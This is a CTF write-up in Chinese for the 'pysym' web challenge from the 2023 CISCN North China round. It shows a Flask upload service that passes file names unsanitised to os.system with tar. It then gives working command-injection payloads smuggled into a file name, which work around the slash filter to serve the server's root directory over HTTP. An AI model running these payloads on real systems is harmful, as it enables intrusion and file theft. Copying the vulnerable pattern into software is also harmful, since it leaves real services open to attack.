2023CISCN华北分区赛-web
jerem1ah Lv4

2023CISCN华北分区赛-web

pysym

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from flask import Flask, render_template, request, send_from_directory
import os
import random
import string
app = Flask(__name__)
app.config['UPLOAD_FOLDER']='uploads'
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/',methods=['POST'])
def POST():
if 'file' not in request.files:
return 'No file uploaded.'
file = request.files['file']
if file.content_length > 10240:
return 'file too lager'
path = ''.join(random.choices(string.hexdigits, k=16))
directory = os.path.join(app.config['UPLOAD_FOLDER'], path)
os.makedirs(directory, mode=0o755, exist_ok=True)
savepath=os.path.join(directory,file.name)
file.save(savepath)

try:
os.system('tar --absolute-names -xvf {} -C {}'.format(savepath,directory))
except:
return 'something wrong in extracting'

links = []
for root, dirs, files in os.walk(directory):
for name in files:
extractedfile =os.path.join(root, name)
if os.path.islink(extractedfile):
os.remove(extractedfile)
return 'no symlink'
if os.path.isdir(path) :
return 'no directory'
links.append(extractedfile)
return render_template('index.html',links=links)
@app.route("/uploads/<path:path>",methods=['GET'])
def download(path):
filepath = os.path.join(app.config['UPLOAD_FOLDER'], path)
if not os.path.isfile(filepath):
return '404', 404
return send_from_directory(app.config['UPLOAD_FOLDER'], path)
if __name__ == '__main__':
app.run(host='0.0.0.0',port=1337)

首先试了试软链接不行,题目也提示软链接不行。想着怎么绕过软链接限制。后来看到命令执行那里可以注入。

1
2
3
4
try:
os.system('tar --absolute-names -xvf {} -C {}'.format(savepath,directory))
except:
return 'something wrong in extracting'

os.system()这里文件名可控,于是就尝试

1
test.tar;sleep 2;tar -xvf test.tar

成功延迟,说明可以利用;

接着发现文件名用不了路径符号,包括

1
/ \ : * ? < > |

接着用python启动了一个web服务,发现成功启动了;

1
test.tar;python -m http.server 8080;tar -xvf test.tar

由于用不了斜杠符号,就想着去python构造

1
a=`python -c 'a=str(1);import os;b=os.path.join(a,a);print(b[1]);'`;b='etc';c='passwd';cd $a;python -m http.server 8081;

在kali上成功运行

最终的payload文件名为

1
12312st.tar;a=`python -c 'a=str(1);import os;b=os.path.join(a,a);print(b[1]);'`;b='etc';c='passwd';cd $a;python -m http.server 8081;sleep 2;tar -xvf test.tar

image-20230610144913526

image-20230610144928491

结语:

赛场上写了一个八血的题,还是比较爽的,出之前饭都不敢吃,出来之后第一反应拿盒饭吃饭!其实这个题思路很简单,直接命令注入,在刚刚比赛开始就有了思路,觉得这题一定能出,但是遇到文件名不能包含的几个特殊字符 \ / “ 等,让我几乎花费了所有时间去绕过这些,好在最后用python构造了一个符号直接去根目录开python服务器,直接就能访问flag了。

 Comments